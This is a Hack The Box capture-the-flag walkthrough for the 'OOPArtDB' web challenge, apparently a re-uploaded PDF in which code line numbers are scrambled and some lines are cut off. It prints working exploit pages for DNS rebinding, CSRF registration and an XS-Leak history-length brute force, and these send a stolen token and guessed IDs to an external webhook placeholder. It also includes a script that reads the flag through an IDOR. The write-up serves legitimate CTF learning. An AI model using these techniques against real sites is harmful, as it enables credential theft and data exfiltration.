Uploaded by learnass

OOPArtDB writeup

advertisement
~/r3pek
Search
About
Privacy
Home » Posts
[HTB] OOPArtDB Challenge WalkThrough
2022-05-01 · 20 min · r3pek
Table of Contents
Name
Difficulty
OOPArtDB
Insane
Release Date
2021-02-11
Retired Date
-
Category
Web
Points
80
The WalkThrough is protected with the flag for as long as the challenge is active. For
any doubt on what to insert here check my How to Unlock WalkThroughs.
introduction
First of all let me start by thanking Strellic by making an awesome challenge that really
went far beyond what is “normal” and somewhat standard on web challenges on HTB.
I’m seen lots of stuff on the web category but this one was really top notch in terms of
quality. Not that the other ones are bad, it’s just that OOPArtDB had some kind of
magic making you think outside the box, and presenting you with an mostly locked
down website, sure makes think harder.
AFAIK this was the first Insane Web challenge on HTB, after completing the ones before
it in terms of difficulty, I jumped right in knowing it would make me lose my hair.
OOPArtDB is (supposely) a database of OOPArts (Out of Place Artifacts). Well, I must
say that I really thought that this was going to be some kind of Object Oriented
Programming web challenge, but it was clearly not. The description reads:
The “Overseer” running the OOPArtDB website is hiding something. You’ve stolen the
source code to their site, but auditing the code, it all seems too secure… except for
that automated scanner. Can you find the hidden artifact?
Yes… It really looked (and is) too secure.
analysis
Upon downloading the files and starting analysing the code, one will quickly note that
this is a NodeJS application. That, by itself, doesn’t give us much, so let’s start digging
the code and take a look at the website itself.
So, there’s some kind of access level in place, and right now I’m “only” guest. I’m
guessing I might need to elevate that 😉.
index.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
const express = require("express");
const app = express();
17
18
19
20
21
22
23
resave: false,
saveUninitialized: false,
}));
app.set("view engine", "ejs");
app.use(express.urlencoded({ extended: false }));
app.use(express.static("public"));
const PORT = process.env.PORT || 80;
const db = require("./src/db.js");
const util = require("./src/util.js");
const session = require("express-session");
const SessionStore = require("express-session-sequelize")(session.Store);
app.use(session({
secret: require("crypto").randomBytes(32).toString("hex"),
store: new SessionStore({
db: db.sequelize,
}),
24 app.use((req, res, next) => {
25
// no XSS or iframing :>
26
res.setHeader("Content-Security-Policy", `
27
default-src 'self';
28
style-src 'self' https://fonts.googleapis.com;
29
font-src https://fonts.gstatic.com;
30
object-src 'none';
31
base-uri 'none';
32
frame-ancestors 'none';
33
`.trim().replace(/\s+/g, " "));
34
res.setHeader("X-Frame-Options", "DENY");
35
next();
36 });
37
38 app.use(async (req, res, next) => {
39
if(req.session.user) {
40
try {
41
req.user = await db.User.findByPk(req.session.user);
42
res.locals.user = req.user;
43
}
44
catch(err) {
45
req.session.user = null;
46
}
47
}
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
next();
});
app.get("/debug", util.isLocalhost, (req, res) => {
let utils = require("util");
res.end(
Object.getOwnPropertyNames(global)
.map(n => `${n}:\n${utils.inspect(global[n])}`)
.join("\n\n")
);
});
app.use("/search", require("./routes/search.js"));
app.use("/scan", require("./routes/scan.js"));
app.use("/login", require("./routes/login.js"));
app.use("/register", require("./routes/register.js"));
64 app.use("/view", require("./routes/view.js"));
65
66 app.get("/logout", (req, res) => {
67
req.session.destroy(() => {});
68
util.flash(req, res, "info", "Logged out successfully.", "/");
69 });
70 app.get("/", (req, res) => res.render("index"));
71
72 app.listen(PORT, () => console.log(`OOPArtDB listening on port ${PORT}`));
Just by looking at the
index.js
file, one can already starting feeling nervous. Nothing
much pops out immediately except for that comment on line 25:
:>
// no XSS or iframing
. The CSP applied to all endpoints really is scarry with nothing going through. No
XSS means, no JS code execution, no JS code execution means we’re fu**ed. Just to be
sure, in case I was missing something obvious, csp-evaluator confirmed it for me:
No, the site doesn’t use JSONP anywhere 😛.
That
/debug
endpoint really intrigued me, but not knowing what I was up against, I
decided not to investigate it further since I needed a plan to actual get the flag itself.
Which led me to try and find where the flag was being saved. One way to look for this
info is to see what the
flag.txt
20
21
22
23
24
25
Dockerfile
does with it (because we can see that exists a
file). This lines are interesting:
# Add flag
COPY flag.txt /flag.txt
# Set ENV variables
ENV PORT 7777
ENV REFERRAL_TOKEN REDACTED_SECRET_TOKEN
So, we either need to get RCE and read the
flag.txt
file somehow, or the application
already does that for us and hides it in some inaccessible place. Looking through the
code we can find this peace on
db.js
:
54 let password = crypto.randomBytes(32).toString("hex");
55 console.log(`password: ${password}`);
56
57 (async () => {
58
await sequelize.sync({ force: true });
59
60
await User.create({
61
user: "The Overseer",
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
pass: bcrypt.hashSync(password, 12),
accessLevel: "overseer"
});
for(let oopart of ooparts) {
await OOPArt.create(oopart);
}
let flag;
try {
flag = (await fsp.readFile("/flag.txt")).toString();
}
catch(err) {
flag = "HTB{test_flag}";
}
78
await OOPArt.create({
79
name: "???",
80
desc: crypto.randomBytes(512).toString("hex")
81
+ flag
82
+ crypto.randomBytes(512).toString("hex"),
83
accessLevel: "overseer"
84
});
85 })();
This file is responsible for the “DB” initialization of the WebApp and it starts by creating
a user “The Overseer” which uses a randomly generated password, then inserts all the
pre-existing OOPArts (defined in the
OOPArt with the flag in it with the
ooparts.js
name
) file, and then creates a special
of ??? and
accessLevel
to overseer which
probably means that is really really hidden 😇.
Ok, so now I needed to find what function actually reads the OOPArts from the
database. This is done on the
view.js
:
5 const { OOPArt } = require("../src/db.js");
6 const util = require("../src/util.js");
7
8 router.get("/:id", util.isLoggedIn, async (req, res) => {
9
let id = req.params.id;
10
let entry = await OOPArt.findByPk(id);
11
12
if(!entry) {
13
return util.flash(req, res, "error", "No OOPArt was found with that id.", "/
14
}
15
16
res.render("view", { entry });
17 });
The endpoint
/view/:id
shows a page with the OOPArt with said id. Simple enough,
and actually, one thing that I noticed here is that this endpoint will happily show you
any id regardless of your accessLevel, making it a “classic” IDOR (Insecure Direct Object
References) vulnerability. But the problem is that middleware:
util.isLoggedIn
. Looks
like I needed a user to be able to read the actual OOPArt’s contents from the database
(or that IDOR wouldn’t be of much use). A quick glance on the actual website proved
exactly that.
First of all, the database contains 7 (+1 for the manually inserted one with the flag)
OOPArts as seen on the
ooparts.js
file, but only 4 are being displayed on the results.
This is because 3 of them are “behind” a researcher accessLevel and this level can only
be obtained by registering a user:
12 router.post("/", util.isLoggedIn, async (req, res) => {
13
let { user, pass, token } = req.body;
14
if(!user || !pass) {
15
return util.flash(req, res, "error", "Missing username or password.");
16
}
17
18
if(!token) {
19
return util.flash(req, res, "error", "Missing referral token.");
20
}
21
22
if(token !== REFERRAL_TOKEN) {
23
return util.flash(req, res, "error", "Incorrect referral token.");
24
}
25
26
let entry = await User.findByPk(user);
27
if(entry) {
28
29
30
31
32
33
return util.flash(req, res, "error", "A user already exists with that usernam
}
pass = await bcrypt.hash(pass, 12);
await User.create({ user, pass, accessLevel: "researcher" });
34
util.flash(req, res, "info", `A researcher has been created under the username <b
35 });
So, to register a user I needed to know the
variable defined on the
Dockerfile
REFERRAL_TOKEN
, which is an environment
but, to actual call this endpoint successfully, I
need to be already logged in ( util.isLoggedIn ). Bummer… How am I going to login
with a user that I don’t have to register a user for myself 😕🤔 ?! This is looking more
and more like a Brainfuck kinda of challenge.
So far I had nothing so I decided to check what was going on with that “automated
scanner” that the challenge description talked about.
9 router.get("/", (req, res) => res.render("scan"));
10 router.post("/", async (req, res) => {
11
let { link } = req.body;
12
13
if(scanning) {
14
return util.flash(req, res, "error", "Please wait for the automated scanner t
15
}
16
17
if(!link) {
18
19
20
21
22
23
24
return util.flash(req, res, "error", "Missing link to scan.");
}
let url;
try {
url = new URL(link);
}
25
26
27
28
29
30
31
32
catch (err) {
return util.flash(req, res, "error", "Invalid link");
}
if(!['http:', 'https:'].includes(url.protocol)) {
return util.flash(req, res, "error", "Link must be of protocol <b>http:</b> o
}
33
scanning = true;
34
35
util.flash(req, res, "info", "The automated scanner is now going over your submis
36
await bot.visit(link);
37
38
scanning = false;
39 });
So, it reads an URL in and then makes a bot visit that link. What does the bot actually
do with that link?
5 const visit = async (url) => {
6
let browser;
7
try {
8
browser = await puppeteer.launch({
9
headless: true,
10
pipe: true,
11
args: [
12
"--no-sandbox",
13
"--disable-setuid-sandbox",
14
"--js-flags=--noexpose_wasm,--jitless",
15
],
16
dumpio: true
17
});
18
19
let context = await browser.createIncognitoBrowserContext();
20
let page = await context.newPage();
21
22
23
24
25
26
27
28
29
await page.goto("http://localhost/login", {
waitUntil: "networkidle2"
});
await page.evaluate((user, pass) => {
document.querySelector("input[name=user]").value = user;
document.querySelector("input[name=pass]").value = pass;
document.querySelector("button[type=submit]").click();
30
31
32
33
34
35
36
37
}, "The Overseer", password);
await page.waitForNavigation();
await page.goto(url, {
waitUntil: "networkidle2"
});
await page.waitForTimeout(7000);
38
39
40
41
42
43
44
45 };
await browser.close();
browser = null;
} catch (err) {
console.log(err);
} finally {
if (browser) await browser.close();
}
So, it spawns a puppeteer instance (running Chrome), logs in as “The Overseer” and
then visits the page I give him. OK, this is an injection point but at this time, and
looking at the CSP I really had no idea on what I could really do with it. Anyway, it had
to be something to do with this since it was even on the description.
After reading all the code again, I kinda suspected something fishy was going on with
that
util.flash
function since lots of endpoints are using it to display messages to
the user.
1 const flash = (req, res, type, msg, url) => {
2
let endpoint = url || req.originalUrl;
3
let delim = endpoint.includes("?") ? "&" : "?";
4
return res.redirect(`${endpoint}${delim}${type}=${encodeURIComponent(msg)}`);
5 };
Looks like it’s just appending some query parameter to the URL with the message
itself. Since I’m not seeing that parameters on the URLs I visit, there must be some kind
of JavaScript running on the browser that clears that up and if I can inject something
into that I might be able to execute code when the bot visits a carefully constructed
URL and put on the scanner. This is the
1 /* We are watching. */
2
main.js
file that is ran on the browser:
3
4
5
6
7
8
9
10
const $ = document.querySelector.bind(document); // imagine using jQuery
const sanitize = (dirty) => {
// There is no escape.
return DOMPurify.sanitize(dirty, { USE_PROFILES: { html: true }, FORBID_ATTR: ["i
};
window.onload = () => {
11
12
13
14
15
16
17
18
19
20
21
22
23
24 };
// flash messages
let params = new URLSearchParams(location.search);
if(location.search.includes("?error=") || location.search.includes("&error=")) {
$("#flash-error").style.display = "block";
$("#flash-error").innerHTML = sanitize(params.get("error").slice(0, 300));
}
if(location.search.includes("?info=") || location.search.includes("&info=")) {
$("#flash-info").style.display = "block";
$("#flash-info").innerHTML = sanitize(params.get("info").slice(0, 300));
}
// wipe flash
history.replaceState({}, document.title, location.pathname);
AAAHHHHH Even here they are watching 😄 . Immediately the
.innerHTML
struck my
eye and I thought: “YAY for DOM Injection. There might be a way in here. This has to be
the way”. Seeing that it used DOMPurify the filter stuff from the parameters, I looked
for vulnerabilities on it and lo and behold CVE-2020-26870: “Cure53 DOMPurify before
2.0.17 allows mutation XSS”. Luckily for me that was even a PoC available which I
immediately try, but to no avail 🤬 . Looked like it wasn’t going to be that simple, so I
went to read all there was available about HTML Gadgets, mutation XSS, DOM
Sanitizers and how they work. After 2 or 3 days of research, I remembered to check the
version of the bundled DOMPurify file…
FML!! 😠 😠 😠 It’s already using a patched version and me losing days trying to
understand what I was doing wrong with my payloads. OK, so maybe I couldn’t use
that vulnerability, but I could definitely inject something with the
error
and
info
query parameters, it’s just that almost everything got cleared up. The only thing I
could come up with which resambles a XSS injection was to inject
the
on<something>
<img src=x>
, but all
events were filtered so I couldn’t trigger nothing.
To take a break from the query parameters I decided to investigate that
/debug
endpoint. I got in the docker container (since it can only be accessed via localhost) and
used
wget
to get that file.
458
459
460
461
462
463
464
465
466
chdir: [Function: wrappedChdir],
cwd: [Function: wrappedCwd],
initgroups: [Function: initgroups],
setgroups: [Function: setgroups],
setegid: [Function (anonymous)],
seteuid: [Function (anonymous)],
setgid: [Function (anonymous)],
setuid: [Function (anonymous)],
env: {
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
TERM: 'xterm',
container: 'podman',
HOSTNAME: '377f10979acb',
YARN_VERSION: '1.22.17',
NODE_VERSION: '17.7.1',
SUPERVISOR_ENABLED: '1',
SUPERVISOR_PROCESS_NAME: 'node',
PWD: '/app',
REFERRAL_TOKEN: 'REDACTED_SECRET_TOKEN',
SUPERVISOR_GROUP_NAME: 'node',
HOME: '/root',
PUPPETEER_SKIP_CHROMIUM_DOWNLOAD: 'true',
PATH: '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin',
PUPPETEER_EXECUTABLE_PATH: '/usr/bin/google-chrome',
PORT: '7777'
},
483
484
485
486
487
488
title: 'node',
argv: [ '/usr/local/bin/node', '/app/index.js' ],
execArgv: [],
pid: 5,
ppid: 1,
execPath: '/usr/local/bin/node',
This endpoint ended up being a dump of all the properties NodeJS knows about all
Objects. The nice thing about this endpoint is that it shows the
required to register a user.
REFERRAL_TOKEN
that is
With this, a plan started to come up. I needed to get the
/debug
REFERRAL_TOKEN
from
so that I could register a user to be able to read the OOPArt that contained
the flag via the IDOR vulnerability, but I still had no idea on how to get the ID of the
OOPArt that contained the flag.
So I went ahead and looked up some of the author’s past challenges. Since this was an
Insane challenge, I looked at the most difficult ones he did and
styleme
from CorCTF-
2021 looked interesting, and it was where I first found the xs-leak term. Researching
into that, I learned about XS-Leaks Wiki website and kinda devoured it 😇.
Finally I had a plan to get the flag:
1. Get
REFERRAL_TOKEN
from the
/debug
endpoint
2. Register a new user
3. Use a XS-Leak to get the OOPArt ID with the flag
4. use IDOR to read the flag
stage 1
Getting the
REFERRAL_TOKEN
was no easy task. The
/debug
endpoint had all the CORS
headers set so it wouldn’t be able to frame it and read its contents. While researching
for a technique to read a CORS protected endpoint, I tried several stuff mostly based of
iframes loading something from
than reloading into the
/debug
/public
(which didn’t have CORS headers set) and
endpoint, but of course, nothing worked.
Until a light pop into my head 💡 ! There was a challenge I had resolved recentely that
used a technique called DNS Rebinding. In this particular case it was a TICTOU (Time of
Check Time of Use) attack, but in this case it could work too. So, the idea was to get
the bot to load a page on an URL like
load
http://something.r3pek.org/debug
that
something.r3pek.org
http://something.r3pek.org
, and then make it
, but in the meantime change the IP address
points to to
127.0.0.1
, and read the actual
/debug
endpoint that we need. This should be simple enough to cook and it actually was until I
hit a wall: browser DNS Caching.
This days, browsers to cache the DNS results exactly to prevent this kind of attacks,
even when you specify a TTL of 0 or 1 to that specific record. According to some info I
found, Chrome/Firefox cache the results for at least a minute, so we had a problem:
33
34
await page.goto(url, {
waitUntil: "networkidle2"
35
36
37
38
});
await page.waitForTimeout(7000);
await browser.close();
The bot only holds on to the page for 7s, which is clearly not enough for the cache to
clear up and we get the new record in. So I needed to extend that period. My idea was
to make the stage1 page load some image from my server but make the server never
actually return so that the connection would be prolonged enough to hit that 1min
mark. Sadly for me, and everyone going this route, is that puppeteer “auto-dies” in 30
seconds by default, no matter how many pendding connections you have on a
webpage. So this was a no-go.
Here I must say I did have a nudge. I got a hint that instead of prolonging the life of
the client, the server should die way sooner, and what a difference that made. The idea
is that the browser will pick up the first address on a multi-record DNS resolution, but
if for some reason that address just dies (is no longer acessable), it auto moves to the
next one. So, this is what I did:
Use the scan service to point to
http://something.r3pek.org
As soon as that page was sent to the bot kill the server
The page then just runs a
fecth
to
http://something.r3pek.org/debug
Send the result to a webhook where I can then retreive the
REFERRAL_TOKEN
This worked like a charm so the first stage was complete and I had the token needed
to register a user!
1 <head>
2 </head>
3 <body>
4
<script>
5
6
7
8
9
10
11
12
const sleep = (m) => new Promise(r => setTimeout(r, m));
async function exploit() {
var exit = false;
for (var i = 0; i < 100 && !exit; i++) {
fetch("http://REBIND_DNS/debug?x=" + Math.random().toString(36).repla
if (r.status == 200) {
return r.text();
13
} else
14
throw new Error("nop");
15
}).then(r => {
16
var m = r.match(/REFERRAL_TOKEN: (.*)/m);
17
fetch("WEBHOOK_URL/?token=ok;" + btoa(unescape(encodeURIComponent
18
exit = true;
19
});
20
await sleep(100);
21
}
22
}
23
24
exploit();
25
</script>
26 </body>
Bare in mind that those REBIND_DNS and WEBHOOK_URL strings were replaced on
the python side of things before the page is actually sent to the client.
stage 2
This one was easy as one just had to load a page into the bot that would post a
<form>
into the
/register
endpoint with the correct parameters.
1 <head>
2 </head>
3 <body>
4
<form id="register" action="http://localhost/register" method="POST">
5
<input name="user" value="r3pek"/>
6
<input name="pass" value="p0wned"/>
7
<input name="token" value="REGISTER_TOKEN">
8
<button type="submit">Register</button>
9
</form>
10
<script>
11
document.getElementById("register").submit();
12
</script>
13 </body>
stage 3
Now was the real tricky part. Most of the time I spent on this challenge was spent
trying to figure out how to leak the actual ID of the OOPArt that contained the flag. For
starters, I started messing with the
and
info
error
parameters that are generated
on the server, but only parsed on the browser as can be seen on the
main.js
file
above. My end goal at the time was being able to inject something meaningfull that I
could somehow use for a leak, either some HTML tag or some kind of JS that would
pass through, but nothing work and the best I could achieve was to prevent the
history.replaceState()
call
to
not
http://127.0.0.1:1337/?x=?info=aaa&error=asd
stop it from ever running
replaceState()
execute
with
something
like:
. That would error out the javascript and
.
During my research, I found about XSinator which is a site that tests your browser for
xs-leaks vulnerabilities. This could narrow my attack surface quite a bit since the
challenge was using a recent version of Chrome so I could check what it was vulnerable
to and narrow my research even more instead of trying to look up all the XS-Leaks
vulnerabilities one by one. This is what I’ve got:
Green is Safe, Red is Exploitable
I could quickly discard the ones that required some kind of content injection like
onload
events and frame counts, but there we some that caught my eye:
URL Max Length Leak
Max Redirect Leak
History Length Leak
Basically because all of them had something to do with the way the site worked,
specially when we did a search and it showed the results page, it would always have an
info
or
error
saying how many results we got ( error in the case of 0 results).
With that in mind I started trying to generate some request that would try to
differentiate between the 2 results: result or no result. After some time trying, I
remembered that I didn’t even try to see if the text that is appended to the URL with
the
info
is actually different on those 2 situations. Well, shame on me I guess:
?error=No results were found.
?info=1 search results found:
The damn URLs are exactly the same size on the case I eventually managed to find the
correct ID 😠. So URL Max Length Leak is a no go.
Max Redirect Leak was initially a good thought, until I learned that I needed to make
some page enter a redirect loop, and since I had no way to inject stuff into the pages, I
just scratched that one out too.
That left me with History Length, so I really needed this one to work. The idea looked
simple enough but natively, the site didn’t behave differentely when I had a match or
when I didn’t, so I went back to google some more and research the subject. After
some days of research and trial and error I’ve found this DiceVault from DiceCTF 2022
writeup. This gave an idea:
So, when we have 1 or more results on the search page, the URL will look something
like
/search?info=1 search results found:
and combining that with the knowledge I
got before about stopping (crashing) Javascript, the only way to add to the history
stack is the actually get a result because if we get an error, the URL will be
info=&error=No results were found.
which wont trigger the
/search?x=?
replaceState()
call and
thus, not add to the history stack. (for reference, the URL while combining the JS crash
and 1 result would be
/search?x=?info=&info=1 search results found:
which will work).
So now, I only had to brute force the ID checking the history stack length before and
after each test so I would know if I had a valid guess or not. Final stage3 was this one:
1 <head>
2 </head>
3 <body>
4
<img src="http://REBIND_DNS/stall_browser1.png"/>
5
<img src="http://REBIND_DNS/stall_browser2.png"/>
6
<img src="http://REBIND_DNS/stall_browser3.png"/>
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<form id=form1 action='http://localhost/search?x=?info=' method='POST' target='ex
<input name="query" value="">
<input name="level" value="overseer" type="hidden">
<button type="submit">search</button>
</form>
<script>
const sleep = (m) => new Promise(r => setTimeout(r, m));
var w = window.open("","exploit");
async function id_is_valid(id) {
form = document.getElementById("form1");
query = document.getElementsByName("query")[0];
query.value = id;
form.submit();
await sleep(500);
w.location = "about:blank"
await sleep(100);
h1 = w.history.length;
w.history.back();
await sleep(100);
w.location = form.action + "&error=No%20results%20were%20found.#DidWeGetN
await sleep(0);
w.location = "about:blank";
await sleep(100);
h2 = w.history.length
console.log("id: " + id + "; h1: " + h1 + "; h2:" + h2);
return h2 == h1; // ReplaceState will trigger when we get a positive matc
}
async function exploit() {
const valid_chars = "abcdef0123456789";
id = "STARTID";
for (var i = TESTED_IDX; i < valid_chars.length; i++) {
valid = await id_is_valid(id + valid_chars[i]);
console.log(valid);
if (valid) {
id += valid_chars[i];
break;
} else {
53
54
55
56
57
58
59
60
fetch("WEBHOOK_URL/?testedidx=" + i);
}
}
w.close();
fetch("WEBHOOK_URL/?view=" + id);
}
exploit();
61
62
</script>
63 </body>
In this stage I used the 3 images to make the browser last as long as 30 seconds as
mentioned before because this process can take some time. Also, on the python side, I
accounted for this and made this process automatically resume if needed.
stage 4
With the OOPArt ID containing the flag at hand, and a register user from stage2, this
step is just to use the identified IDOR vulnerability and retreive the flag.
207
208
209
210
211
212
213
# start of stage4
info("Getting the view content")
s = requests.session()
r = s.post("http://" + ENDPOINT + "/login", data={"user":"r3pek","pass":"p0wned"})
r = s.get("http://" + ENDPOINT + "/view/" + flag_viewid)
m = re.search(".*(HTB{.*}).*", r.content.decode("utf-8"))
success("Got the Flag: " + m.group(1))
Complete exploit.py here.
htb
challenge
oopartdb
walkthrough
writeup
dns rebinding
© 2022 r3pek's 127.0.0.1 Powered by Hugo & PaperMod
xs-leaks
cors
Download